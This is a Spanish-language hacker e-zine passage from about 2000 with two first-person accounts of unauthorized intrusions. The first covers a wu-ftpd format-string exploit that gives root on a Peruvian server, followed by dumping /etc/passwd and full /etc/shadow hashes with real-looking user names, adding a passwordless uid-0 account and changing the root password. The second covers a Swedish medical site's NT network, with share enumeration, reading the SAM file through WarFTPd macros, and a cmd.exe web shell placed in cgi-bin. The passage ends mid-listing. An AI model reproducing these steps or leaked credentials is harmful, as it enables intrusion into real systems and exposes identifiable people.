estoy... tiene la version del ftp vulnerable... Bueno, tal vez resulte...
entonces...
> [ReYDeS@]$ ./bugftp <parametros> [localhost]
Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152
> loggin into system..
> USER anonymous
> 331 Guest login ok, send your complete e-mail address as password.
> PASS <shellcode>
> 230 Guest login ok, access restrictions apply.
> STEP 2 : Skipping, magic number already exists: [**,**:**,**:01,01:02,04]
> STEP 3 : Checking if we can reach our return address by format string
> **********************
> **********
Co*o!... esto no resulto!... un error me indica que no es posible
obtener una shell... hmmm!... haber, reviso un poco... Ya se que puede ser; la
version del ftp es vulnerable, pero la version de RedHat no corresponde con
alguno de los tipos de sistemas; bueno, no perdamos tiempo, que es de lo que
menos dispongo en estos momentos.
Que pase el que sigue!... wait....
Otro!... nada!... que pasa???.... Nuevamente un error, hmm, luego veo
que puede ser. Voy con el siguiente. Por alli escuche que: -La tercera es la
vencida!. Ademas, este es el server de un "conocido".
> Target: 127.0.0.1 (ftp/<shellcode>): RedHat *.* (?) with wuftpd 2.6.0(1)
> from rpm
> Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152
>
> loggin into system..
> USER ftp
> 331 Guest login ok, send your complete e-mail address as password.
> PASS <shellcode>
> 230 Guest login ok, access restrictions apply.
> STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
> STEP 3 : Checking if we can reach our return address by format string
> STEP 4 : Ptr address test: 0xbfffb038 (if it is not 0xbfffb038 ^C me now)
> STEP 5 : Sending code.. this will take about 10 seconds.
> Press ^\ to leave shell
Y yo muy obediente a las leyes :P... presiono "^\"... Y espero con
ansias ese shell root!... vamos... que solo dispongo de pocos minutos....
+----------------------+
|--> 0101. Minuto 5 <--|
+----------------------+
Segundos despues...
> ^\Linux server 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
> uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
Eureka!...
Haber... ya se que tipo de sistema es; pues un linux, ya se la
version, pero... quien mas estara aqui?.
Aqui no hay un prompt, ni nada que identifique, pero a probar se ha
dicho, en teoria tengo un shell... pero no me lo creo :)).
+----------------------+
|--> 0110. Minuto 6 <--|
+----------------------+
> finger
> /bin/sh: ^finger: command not found
Disculpa?!!... como de que; command not found?... nada es perfecto,
pero... probar un "w", no estaria de mas...
> w
> 6:22am up 6 days, 10:21, 0 users, load average: 0.07, 0.03, 0.01
> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
Solo?... solo!... para variar; debe ser la hora. Tal vez esten aun
desayunando. Pues creo que deberian de estar aqui y rapido, que se me vienen
las ideas no tan decorosas y benevolas.
Me pregunto!... Y yo solo me respondo. Donde estare?... si, sentado en
una silla... pero aqui en que directorio estare en el "/" raiz?. Mejor se lo
pregunto al sistema.
> ls
> bin
> boot
> dev
> etc
...
..
.
> root
> sbin
> tftpboot
> tmp
> usr
Todo esta muy tranquilo... y pensar que esto lo hago a plena luz del
dia. Bueno; si puede decirse que en las computadoras existe el dia o la noche.
Asi es que decido tomarme un respiro de 10 segundos mientras estiro mis
falanges.
+----------------------+
|--> 0111. Minuto 7 <--|
+----------------------+
Lo primero que se me ocurre es ver el passwd y el shadow... me
pregunto si podre leerlos?... jeje!, que sarcastico!... siendo root,
cualquiera, asi que chiste tiene. Vamos a verlos pues.
> cd /etc
> cat passwd
Y la respuesta no se hace esperar!
> root:x:0:0:root:/root:/bin/bash
> bin:x:1:1:bin:/bin:
...
> ftp:x:14:50:FTP User:/home/ftp:
...
> squid:x:23:23::/var/spool/squid:/dev/null
> dwong:x:500:100:David Wong:/home/dwong:/bin/bash
> mhornae:x:501:100:Marco Antonio Horna Espinoza:/home/mhornae:/bin/bash
> czaval:x:502:100:Cesar Zavaleta:/home/czaval:/bin/bash
> dwong2:x:503:100:David Wong (account 2):/home/dwong2:/bin/bash
> emiranda:x:504:100:Eddy Miranda:/home/emiranda:/bin/bash
> hjqg:x:505:100:Hector Quispe Ganoza:/home/hjqg:/bin/false
> webadmin:x:506:100:Web Administrator:/home/webadmin:/bin/bash
> dwong.lnx:x:507:100:David Wong:/home/dwong.lnx:/bin/bash
> ereyes:x:508:100:Eduardo Reyes:/home/ereyes:/bin/bash
> sergei:x:509:100:Sergio Cabrera Dekovic:/home/sergei:/bin/bash
> efrain:x:510:100:Efrain Berrio:/home/efrain:/bin/bash
> invitado:x:511:100:Invitado al sistema de correo:/home/invitado:/bin/false
> mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
> steppen:x:0:0::/home/steppen:/bin/bash
Vamos con el siguiente...
> cat shadow
Y la respuesta esta vez, me complace mas que la anterior.
> root:$1$Xlcp0.RY$5BMyHtKz4cIAYJmoK1Cx31:11106:0:99999:7:-1:-1:134539180
> bin:*:11058:0:99999:7:::
...
> ftp:*:11058:0:99999:7:::
...
> squid:!!:11058:0:99999:7:::
> dwong:$1$P2lN2fzh$1/mZy9kc91.gAAbGVbPSA/:11132:-1:99999:-1:-1:-1:134539500
> mhornae:$1$YrT5eG7Q$q7cTdqm/pvKnBArwXShJ4.:11060:-1:99999:-1:-1:-1:134539660
> czaval:$1$lKaT9n25$m7bEZTKukMab.Hmce2YGD/:11072:-1:99999:-1:-1:-1:135526780
> dwong2:$1$mphyN2hP$0s8mDSfg.G/Bo2TFtRRcr.:11074:-1:99999:-1:-1:-1:135515748
> emiranda:$1$8ur3B4jA$3Zk6SMDUNM2Rn9KsqGGfM/:11103:-1:99999:-1:-1:-1:134539204
> hjqg:$1$LEJ459eT$es5i1bDWawt.uG.db0AjT.:11087::99999::::134540284
> webadmin:$1$DamkmqnV$f4uWqMdei0YyjaS3szEvS.:11096::99999::::134540284
> dwong.lnx:$1$rwbK4/6g$7b1M4KcQe49tymGfBBF4M0:11105:-1:99999:-1:-1:-1:135513380
> ereyes:$1$OEE3ChzB$7ZG9r5XTFj6GW6tinjJjL1:11118:-1:99999:-1:-1:-1:134539580
> sergei:$1$lI81tyia$Q.apmZJsoirUzUjO6wsa5.:11121:-1:99999:-1:-1:-1:134539556
> efrain:$1$ztZtPlpY$LWf9kKUWg41U3ZYHWRGot1:11144:-1:99999:-1:-1:-1:134539580
> invitado:$1$r5/fnuiw$qnZDjuyPsnDWgd5tmIkS5.:11146:-1:99999:-1:-1:-1:134539204
> mysql:!!:11141:0:99999:7:::
> steppen:$1$KxBOm6OR$Hy0S.4Lnvn5ToF/GoN.wi.:11146:0:99999:7:-1:-1:134540276
Hmmm, pero que veo!... MD5!... mi John The Ripper se va a divertir un
buen rato con este file.
+----------------------+
|--> 1000. Minuto 8 <--|
+----------------------+
Que mas?... bueno, voy a colocar una propagandistica linea a su
archivo passwd, para ingresar como un usuario registrado!... Simple!... hasta
tengo reparos en hacerlo, pues es tan estupido. :P
> echo "ReYDeS::0:0:ReYDeS:/home/reydes:/bin/bash" >>/etc/passwd
Pero porque root?... vamos a crearnos un usuario normal, no hay que
ser muy ambiciosos. Mira quien lo dice?. :D
> echo "otro::550:100:Averigualo:/home/otro:/bin/bash"
Visualizo el archivo /etc/passwd, y quedo bien con mi nuevo usuario
ReYDeS. :)
Que mas podemos hacer?... ah!... haber... que tal si le cambio el
passwd a alguno de los usuarios; doy un breve vistazo a los users.. y ya tengo
al premiado, un tal sergei. Pero hombre!... porque no intentas cambiar el
password al root?, al fin y al cabo soy el 'root', y puedo tomarme estas
atribuciones que NO me corresponden. :)
> passwd root
>
> Changing password for user root
> New UNIX password: ******
> Retype new UNIX password: ******
El password es visible mientras se escribe, asi es que no entiendo
porque me pide reescribirlo, que no soy miope ni nada de eso! :D... jeje...
No es nada personal contra el admin de este server, simplemente son
cosas que se me van ocurriendo y las voy haciendo. Pero mientras mas ideas
indecorosas recaen en mi mente...
+----------------------+
|--> 1001. Minuto 9 <--|
+----------------------+
De pronto... cuando estaba tan tranquilo, mis oidos perciben un beep
acompa~ado de:
> Message from Talk_Daemon@localhost at 06:36 ...
> talk: connection requested by UN-USUARIO@localhost
> talk: respond with: talk UN-USUARIO@localhost
:-X... hmmm!!!... que hago?, respondo?... jeje, pues que co~o, se que
me quiere distraer, pero aun asi, no estoy haciendo nada malo, al menos es lo
que creo, pero el no sabe que mis intenciones son pacificas. >:)
> [Connection established]
El tipo este, me pregunta que estoy haciendo?... Como si no lo
supiera!... :D, le respondo de la manera mas cordial posible: - Estoy
comprobando la seguridad del servidor de FULANO. El responde con un jeje...
muy largo y la coneccion se va!... diantres!... Pense que me habian botado,
pero NO!, no era eso. Recuerdan al server de los matematicos?, pues es el
culpable... Claro!
> [ReYDeS@] ping ****.*****.edu.pe
>
> PING ****.*****.edu.pe (127.0.0.1) from 127.0.0.1 : 56(84) bytes of
> data.
...
>
> --- ****.*****.edu.pe ping statistics ---
> 3 packets transmitted, 0 packets received, 100% packet loss
No me gusta nada esto, que habra pasado?, se darian cuenta del uso de
su server?. Vamos!, que es para una buena causa. Que mejor causa, que mi
aprendizaje?. Ademas, que momento eligen para preocuparse por su seguridad!.
:D.
+----------------------+
|--> 1010. Minuto 10 <--|
+----------------------+
Trato de reponer la coneccion, pero ya es muy lenta; logro ingresar
una vez mas como un usuario registrado y me topo con un mensaje de bienvenida
muy histerico: "Hacker en el sistema!" (escrito en palabras mas
antisonantes). Despues de ese recibimiento, me vuelvo root; pero me desespera
la lentitud de la coneccion, ademas tenia que ir a clases, y no creo que al
profesor le guste la excusa: -Disculpe profe, pero estaba hackeando un
servidor. :DDD . Y hablando de eso, pues se me hizo tarde y no entre a clases
:P, tanto apuro para llegar tarde!...
Pierdo la coneccion, intento logearme, pero ya han cerrado sus
puertos, telnet y ftp, intento visualizar su pagina web, y alli esta. Tal vez
unos retoques a su web no le hubiesen caido mal, pero no deseaba hacer nada
de lo que despues pueda arrepentirme.
Me levanto de mi asiento; mis piernas estan adormecidas; tomo mis 2
diskettes, pienso en una persona, respiro profundo... y me retiro del resinto
en cuestion.
10, 9, 8,... 0 segundos... Y aqui no ha pasado nada!... Y si me acusan de
algo, pues como escuche por alli: - Alega demencia!.
+----------------------+
|---> 1011. El bug <---|
+----------------------+
Para alcanzar el root, se ha explotado una vulnerabilidad existente en
las versiones del wuftpd 2.6.0 o superior; del cual se tenia conocimiento en
circulos muy cerrados y que recientemente salio publicado en diversos sites
sobre seguridad.
Mediante la explotacion de esta vulnerabilidad; como yo y tal vez
muchos de ustedes lo habran podido comprobar; es posible que usuarios remotos
o locales alcancen provilegios de root. Ademas de no ser necesario en muchos
casos contar con una cuenta en el server objetivo, este puede ser "ftp" o
"anonymous", de esta forma el ataque puede venir de cualquier lugar en i-net.
La solucion a este problema, pues lo de siempre, aplicar el patch
correspondiente, actualizarse a una version superior o abandonar al wuftpd.
Mas detalles sobre esta vulnerabilidad, en los sites dedicados a la
seguridad. Alli encontraran informacion, como exploits, mensajes posteados,
recomendaciones, etc. etc.
+----------------------+
|---> 1100. Notas <---|
+----------------------+
Como ustedes habran podido constatar, mi intencion no era la de da~ar
el sistema, ni cambiar su web, ni nada de eso. Tal vez jorobar un poco la
paciencia, pero nada mas. Si, si; ahora soy inocente!. >:)
A lo mucho; las molestias que he podido causar son; el haber cambiado
las claves de algunos usuarios y la del root. :D. jeje... Ademas de la adicion
de un par de cuentas en su archivo "passwd" y el haber manipulado algunos
procesos.
Respecto al sistema, pues... creo que de ahora en adelante seran un
poco mas cuidadosos (por no decir paranoicos), con la seguridad.
Yo me despido hasta una proxima oportunidad. Espero que hayan
disfrutado la lectura del presente texto. Y no vayan por alli explotando
ftp's!...
El que sigue...
+----> | <-+------| -->|<----+
| ReYDeS | | Peru - A~o 2000 |
<-+--------+------->|<---+-----+
+-> | +->
+
" Si el dia de hoy, las cosas no resultan como deseas;
no te preocupes!, ma~ana tampoco resultaran!. "
y.o.
+------+-------------------------------------------+----------+--------------+
| +-->| NT world, BGates world, Kaos world |<---------| GuyBrush |
+->|<--> r17_07 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
Objetivo
^^^^^^^^
Un servidor elegido al azar ... en este caso uno sueco con una web sobre
medicina. Se trata de
una peque~a red de 6 equipos (todos con NT) pero como
todos tienen fallos similares, me limitare a comentar la entrada de uno de
ellos solamente.
Objetivos
^^^^^^^^^
Esta claro ... aprender :)
Introduccion
^^^^^^^^^^^^
Todo el mundo sabe que los Sistemas Operativos de Bill Gates son pesimos en
todos los sentidos (estabilidad, seguridad, etc) pero aun asi los hay que se
arriesgan a usarlos en una red a la que cualquiera puede acceder ...
Los administradores de NT tienen suerte de que la mayoria de hackers se
centren en maquinas tipo Unix pero desgraciadamente para ellos cada dia el
NT-hacking se pone mas de moda. Y es esa moda la que ha hecho que me pique la
curiosidad y me adentre un poco en el NT-world. Y que mejor forma de aprender
que intentando hackear uno :)
NOTA: aunque este texto este escrito en primera persona, no realice yo todo el
trabajo. Digamos que hice un 50% del mismo ... el otro 50% lo realizo mi buena
amiga DustyGirl (por cierto, me obliga a decir que NO es una hacker ... tan
solo algo curiosa :)
Primeros pasos
^^^^^^^^^^^^^^
Me instale Windows NT, dado que la mayoria de herramientas para hackear NTs
solo funcionan bajo este sistema. Recopile algunas utilidades de la red, me
lei algunos docs y me puse manos a la obra ...
Primero, para entrar en calor mejor buscar algun pobre usuario de Windows, que
siempre sabra menos que un administrador (o se supone que deberia saber menos)
asi que me adentre en el oscuro mundo del IRC en busca de algun conejillo de
indias...
/join #sexo ... por aqui hay mucha pe~a :)
Herramientas --> Escanear puertos abiertos en el canal
Buscar --> Puerto 1080
Que barbaro!!!! cuanta gente usa WinGate!!! bueno, si usan un proxy sera
porque tienen una red y, si tienen una red, sera porque comparten algun
recurso ... no voy a poner aqui los resultados de mis pruebas porque ya
incluire el log del otro hack el cual realice de forma similar. Solo dire que
los resultados fueron sorprendentes. No os podeis imaginar la gran cantidad
de gente que comparte recursos sin usar ninguna contrase~a o usando los pass
por defecto. Incluso a mi buena amiga DustyGirl se le olvido ponerle pass a
su impresora y gastandole una bromilla le envie un peque~o texto :)
Bien, pero antes de pasar a hackear el servidor quise hacer una ultima prueba:
/join #un_canal_de_hackers
Herramientas --> Escanear puertos abiertos en el canal
Buscar --> Puerto 1080
Vaya!!! los hackers tambien usan windows ... y WinGate ... pero seguro que
ellos no tienen recursos compartidos ... bueno, pero seguro que esos recursos
no tienen las claves por defecto ... ejem ... pasemos al hack del server :)
Manos a la obra
^^^^^^^^^^^^^^^
El servidor que escogimos no fue del todo al azar. La verdad es que bromeando
con ^Shadown^, el cual me sorprende su gran habilidad por ocultar su IP en la
red, quise chequear la seguridad de su NT y despues de realizar algunos
chequeos me di cuenta de que me habia confundido de 'victima'. Este server
era uno sueco cuyo contenido web era sobre temas de medicinas o algo asi.
Y ya que comenzamos con ese server, quisimos seguir con el hasta el final ...
digamos que le cogimos cari~o y decidimos hacer un estudio gratuito sobre la
seguridad de su red :)
Descripcion del ataque
^^^^^^^^^^^^^^^^^^^^^^
C:\> NBTSTAT -A XXX.15.YYY.89
No se ha encontrado el host.
Ups ... parece que no siempre es tan sencillo como pone en algunos docs de
hacking ...
C:\> NAT XXX.15.YYY.89
---------------------8<------------------------------------------------------
[*]--- Checking host: XXX.15.YYY.89
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Fri Feb 11 15:58:56 2000
[*]--- Timezone is UTC+1.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Obtained server information:
Server=[SMIDIALOG] User=[] Workgroup=[SMINET] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
Backup Disk:
C$ Disk: Default share
D$ Disk: Default share
DBDump Disk:
F Disk:
IPC$ IPC: Remote IPC
MedINT Disk:
MSQUERY Disk:
Office97 Disk:
Slask Disk:
SLDatabaser Disk:
wwwroot Disk:
[*]--- This machine has a browse list:
Server Comment
--------- -------
DOC
SMIBDC
SMIDIALOG
SMIMAIL
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\Backup
[*]--- WARNING: Able to access share: \\*SMBSERVER\Backup
[*]--- Checking write access in: \\*SMBSERVER\Backup
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Backup
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\DBDump
[*]--- WARNING: Able to access share: \\*SMBSERVER\DBDump
[*]--- Checking write access in: \\*SMBSERVER\DBDump
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\DBDump
[*]--- Attempting to access share: \\*SMBSERVER\F
[*]--- WARNING: Able to access share: \\*SMBSERVER\F
[*]--- Checking write access in: \\*SMBSERVER\F
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\F
[*]--- Attempting to access share: \\*SMBSERVER\MedINT
[*]--- WARNING: Able to access share: \\*SMBSERVER\MedINT
[*]--- Checking write access in: \\*SMBSERVER\MedINT
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\MedINT
[*]--- Attempting to access share: \\*SMBSERVER\MSQUERY
[*]--- WARNING: Able to access share: \\*SMBSERVER\MSQUERY
[*]--- Checking write access in: \\*SMBSERVER\MSQUERY
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\MSQUERY
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\MSQUERY
[*]--- Attempting to access share: \\*SMBSERVER\Office97
[*]--- WARNING: Able to access share: \\*SMBSERVER\Office97
[*]--- Checking write access in: \\*SMBSERVER\Office97
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Office97
[*]--- Attempting to access share: \\*SMBSERVER\Slask
[*]--- WARNING: Able to access share: \\*SMBSERVER\Slask
[*]--- Checking write access in: \\*SMBSERVER\Slask
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Slask
[*]--- Attempting to access share: \\*SMBSERVER\SLDatabaser
[*]--- WARNING: Able to access share: \\*SMBSERVER\SLDatabaser
[*]--- Checking write access in: \\*SMBSERVER\SLDatabaser
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\SLDatabaser
[*]--- Attempting to access share: \\*SMBSERVER\wwwroot
[*]--- WARNING: Able to access share: \\*SMBSERVER\wwwroot
[*]--- Checking write access in: \\*SMBSERVER\wwwroot
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\wwwroot
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
---------------------8<------------------------------------------------------
Vaya!! cuanta info ... vamos a conectarnos para verificar todo lo que nos dice
el NAT ... a~ado la IP con el nombre del equipo en mi fichero hosts y ...
Inicio->Buscar->Equipo->XXX.15.YYY.89
y me sale:
XXX.15.YYY.89 SMINET
Ahora pincho sobre el server y me sale en la ventana:
Backup
DBDump
f
MedINT
Msquery
Office97
Slask
SLDatabaser
wwwroot
Impresoras
Intento entrar ...
Backup y ... 'se ha denegado el acceso'
DBDump ... 'se ha denegado el acceso'
y asi con todos menos Msquery que si que me dejo ver su contenido ... bueno,
para empezar no esta mal :PP
Tambien pude entrar en el de Impresoras pero no habia nada.
Vamos a echar un vistazo a sus puertos a ver que servicios usa ...
Escaneando XXX.15.YYY.89 ...
ftp on port 21
web on port 80
Parece que este es un servidor web que tiene el ftp para poder actualizar las
paginas remotamente. Me conecto a su pagina y no entiendo una mierda porque
esta todo en aleman asi que paso a chequear que soft usan en estos puertos ...
telnet XXX.15.YYY.89 21
220-smidialog Server
WarFTPd 1.70.b01.04 (Aug 18 1998) Ready
(C)opyright 1996 - 1998 by Jarle (jgaa) Aase - all rights reserved.
220 Please enter your user name.
telnet XXX.15.YYY.89 80
GET HTTP/1.0
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Sun, 13 Feb 2000 17:54:19 GMT
Content-Type: text/html
Content-Length: 87
vaya vaya ... creo que este admin no esta muy puesto en seguridad. Esa version
del War-Ftp (la 1.70) tiene un enorme fallo de seguridad en sus macros que
permite acceso remoto a cualquier parte del server. Me documento un poco en
packetstorm y voila!! parece que mediante el comando 'literal' se puede editar
cualquier fichero del server asi que me instalo el susodicho programa para
probarlo primero en mi computer y tras hacer algunos experimentos decido echar
un ojo al servidor ...
---------------------8<------------------------------------------------------
C:\> ftp XXX.15.YYY.89
Connected to XXX.15.YYY.89.
220-smidialog Server
WarFTPd 1.70.b01.04 (Aug 18 1998) Ready
(C)opyright 1996 - 1998 by Jarle (jgaa) Aase - all rights reserved.
220 Please enter your user name.
User (XXX.15.YYY.89:(none)): anonymous
331 User name okay. Give your full Email address as password.
Password: guest
230 User logged in.
ftp> literal [$osname]
500 'WIN32 (NT 4.0 1381 Pentium 1-CPU)': command not understood.
ftp> literal [c:\winnt\repair\sam._]
500 'MSCFæsµ': command not understood.
ftp> bye
221 Goodbye. Control connection closed.
---------------------8<------------------------------------------------------
Estuve dotoreando un poco en el servidor pero no consegui ningun texto
interesante dado que es un ataque un poco 'a ciegas' y como es algo aburrido,
lo deje estar. Intente editar el fichero 'sam._' pero tal y como decia la
descripcion del bug, solo se pueden editar ficheros de texto dado que los
binarios tienen algunos caracteres que se identifican como final de fichero y
solo se puede ver una minima parte ya que se corta la edicion enseguida.
Pasemos ahora a examinar el otro servicio ... Microsoft-IIS/4.0 ... jeje este
tambien tiene algunos problemillas de seguridad bastante graves. Segun pone
en unos textos que lei, es posible administrar remotamente el servidor web
usando el explorador de frontpage. Vamos a ver si esto es cierto ... abro mi
frontpage e intento administrarlo remotamente ...
[archivo->abrir web de frontpage->XXX.15.YYY.89]
... voila!! parece que tengo acceso a su web :)
Navego un poco y me bajo algunas cosillas desde el explorador del FP. Jeje
vaya pagina mas descuidada ... bueno, vamos a hacer algo creativo. En lugar de
bajarme cosas vamos a subirlas. Parece que tiene un directorio cgi-bin con un
par de programas. Esto quiere decir que soporta cgis asi que subire a ese
directorio el cmd.exe (en NT, equivalente al command.com del DOS) y asi podre
acceder desde mi navegador ejecutando remotamente comandos (de forma similar
a como se hace con el tan famoso bug del phf del que tanto se ha hablado) ...
Subo el binario al cgi-bin y vuelvo al navegador a probar algunas cosas ...
http://XXX.15.YYY.89/cgi-bin/cmd.exe?/c%20dir%20c:\
---------------------8<------------------------------------------------------
Directorio de c:\
99-04-28 13:26 0 AUTOEXEC.BAT
99-05-10 15:54 <DIR> CDCREATR
99-04-28 13:26 0 CONFIG.SYS
00-02-11 15:01 52 964 msquery
99-05-06 18:14 <DIR> MSSQL
99-09-28 12:49 <DIR> Program Files
99-05-11 08:12 <DIR> sqlany50
00-02-11 13:44 <DIR> TEMP
00-01-19 10:51 <DIR> WINNT
9 archivos 52 964 bytes
661 595 136 bytes libres
---------------------8<------------------------------------------------------
Jeje esto se pone interesante ... no hace falta decir que el %20 equivale al
codigo ASCII del espacio ... y echando un ojo a su sistema me sale todo esto:
---------------------8<------------------------------------------------------
Directorio de c:\WINNT
00-01-19 10:51 <DIR> .
00-01-19 10:51 <DIR> ..
99-05-17 08:15 179 ACROREAD.INI
99-04-27 15:50 1 319 Active Setup Log.BAK
99-04-27 15:58 12 935 Active Setup Log.txt
99-04-27 15:58 21 749 Bind List Log.txt
96-10-14 02:38 5 328 black16.scr
99-04-27 15:56 <DIR> CatRoot
95-07-20 17:00 189 952 CCARD232.EXE
97-11-17 23:00 84 032 Channel Screen Saver.SCR
96-10-14 02:38 82 944 clock.avi
97-11-06 17:21 44 544 clspack.exe
99-04-28 13:19 <DIR> Config
99-04-28 13:26 0 control.ini
99-04-27 15:56 <DIR> COOKIES
95-11-01 11:27 151 040 CRLLYRNT.DLL
99-04-27 15:56 <DIR> Cursors
99-09-27 07:40 246 035 drwtsn32.log
97-04-30 23:00 234 256 EXPLORER.EXE
97-11-17 23:00 103 424 EXTRAC32.EXE
97-11-17 23:00 52 998 EXTRACT.EXE
99-05-03 16:25 276 frontpg.ini
99-05-18 08:55 <DIR> Help
99-03-02 23:00 26 896 hh.exe
99-04-27 15:56 <DIR> History
99-04-27 15:56 127 391 IE4 Setup Log.Txt
97-11-17 23:00 17 655 IEXTRACT.EXE
99-05-06 18:17 354 INFOVIEW.INI
97-05-29 16:31 314 880 IsUn041d.exe
98-07-30 12:51 305 152 IsUninst.exe
97-11-06 16:23 6 550 jautoexp.dat
99-04-27 15:57 <DIR> Java
99-04-27 15:57 1 334 javainst.log
97-11-06 16:59 44 544 jview.exe
96-10-14 02:38 157 044 lanma256.bmp
96-10-14 02:38 157 044 lanmannt.bmp
99-04-27 11:25 <DIR> Media
99-10-20 09:25 129 mmc.INI
99-05-06 18:14 <DIR> MSAPPS
99-04-27 16:06 16 384 MSIMGSIZ.DAT
95-07-20 17:00 209 228 MSQRY32.CUE
96-10-14 02:38 67 328 network.wri
96-10-14 02:38 45 328 NOTEPAD.EXE
99-09-28 13:30 825 ODBC.INI
95-06-07 03:24 7 168 odbcad32.exe
95-03-03 05:00 6 464 odbcadm.exe
95-06-07 03:25 6 656 odbccp32.cpl
95-03-03 05:00 17 412 odbcinst.hlp
99-09-28 13:30 1 227 ODBCINST.INI
96-10-14 02:38 123 152 poledit.exe
96-10-14 02:38 34 816 printer.wri
99-08-24 10:19 <DIR> Profiles
99-09-13 08:28 106 Reg Save Log.txt
96-10-14 02:38 71 952 REGEDIT.EXE
99-04-27 11:26 <DIR> repair
99-04-27 16:02 19 618 RunOnceEx Log.txt
99-05-03 16:19 <DIR> Samples
99-12-31 12:00 32 657 SchedLog.Txt
97-11-06 17:13 42 496 setdebug.exe
99-09-13 08:28 463 setup.old
99-04-27 11:25 138 setuplog.txt
99-04-27 15:42 154 494 SMIDIALOG.bmp
99-05-18 08:58 379 Soft Boot Log.txt
99-05-11 08:12 0 sqlany.ini
99-04-27 16:02 <DIR> Subscriptions
99-09-28 13:29 <DIR> system
96-10-14 02:38 219 system.ini
00-01-19 10:52 <DIR> system32
96-10-14 02:38 32 016 TASKMAN.EXE
99-04-27 16:02 <DIR> Temporary Internet Files
96-11-06 11:10 301 568 unin041d.exe
98-05-22 01:01 299 008 uninst.exe
99-09-27 07:41 12 132 271 user.dmp
96-10-14 02:38 24 336 vmmreg32.dll
99-04-27 15:57 <DIR> Web
96-10-14 02:38 22 288 welcome.exe
00-02-04 14:19 358 WIN.INI
96-10-14 02:38 3 WINFILE.INI
96-10-14 02:38 256 192 WINHELP.EXE
97-04-30 23:00 311 056 WINHLP32.EXE
96-10-14 02:38 707 _DEFAULT.PIF
99-09-15 10:26 0 ~DF4D8.tmp
99-05-04 12:45 0 ~DFCA20.tmp
99-05-05 09:20 0 ~DFD0BC.tmp
99-08-24 10:15 0 ~DFD65E.tmp
99-08-13 14:41 0 ~DFD7F9.tmp
99-05-18 09:00 0 ~DFD83F.tmp
99-08-24 10:07 0 ~DFD885.tmp
99-09-01 09:43 0 ~DFD8FD.tmp
99-05-23 12:46 0 ~DFD980.tmp
99-09-03 06:53 0 ~DFDA84.tmp
99-09-09 13:09 0 ~DFDA8E.tmp
99-06-03 08:10 0 ~DFDAC0.tmp
99-09-07 13:25 0 ~DFDB06.tmp
99-09-27 07:10 0 ~DFDB24.tmp
99-08-25 08:13 0 ~DFDC1F.tmp
99-05-03 16:29 0 ~DFDCA1.tmp
99-09-20 07:33 0 ~DFDD05.tmp
99-07-21 09:39 0 ~DFDD2D.tmp
99-09-03 08:00 0 ~DFDD37.tmp
99-06-04 10:57 0 ~DFDD87.tmp
99-05-26 11:39 0 ~DFDDD7.tmp
99-05-17 08:20 0 ~DFDFC2.tmp
00-01-19 10:51 0 ~DFE21B.tmp
99-08-24 11:24 0 ~DFE315.tmp
99-09-22 07:40 0 ~DFE3D3.tmp
99-09-27 16:15 0 ~DFE713.tmp
99-09-22 07:02 0 ~DFE73B.tmp
99-12-03 10:33 0 ~DFE781.tmp
99-10-04 08:12 0 ~DFE78B.tmp
99-10-20 09:10 0 ~DFE803.tmp
99-09-28 13:32 0 ~DFE80D.tmp
99-08-31 07:53 0 ~DFE82B.tmp
99-07-19 16:55 0 ~DFE899.tmp
99-09-21 11:59 0 ~DFE91B.tmp
99-05-11 08:17 0 ~DFE92F.tmp
99-09-21 10:24 0 ~DFE943.tmp
99-11-03 11:24 0 ~DFE96B.tmp
99-11-26 11:28 0 ~DFE9BC.tmp
99-10-17 11:04 0 ~DFE9C6.tmp
99-12-10 08:46 0 ~DFE9F8.tmp
99-11-13 11:15 0 ~DFEA2A.tmp
99-09-28 07:36 0 ~DFEA7A.tmp
99-09-28 12:59 0 ~DFEAA2.tmp
99-09-21 15:41 0 ~DFEAE8.tmp
99-09-13 16:31 0 ~DFEB24.tmp
99-08-04 10:17 0 ~DFEB38.tmp
99-09-15 14:13 0 ~DFEB6A.tmp
99-06-02 09:47 0 ~DFEC00.tmp
99-09-23 12:38 0 ~DFEC97.tmp
99-09-13 07:03 0 ~DFECDD.tmp
99-09-10 07:48 0 ~DFECF1.tmp
99-09-24 08:07 0 ~DFED5F.tmp
00-01-03 08:37 0 ~DFEE09.tmp
99-05-25 10:48 0 ~DFEE27.tmp
99-09-11 05:53 0 ~DFFE1D.tmp
136 archivos 16 628 297 bytes
661 595 136 bytes libres
Directorio de c:\WINNT\catroot
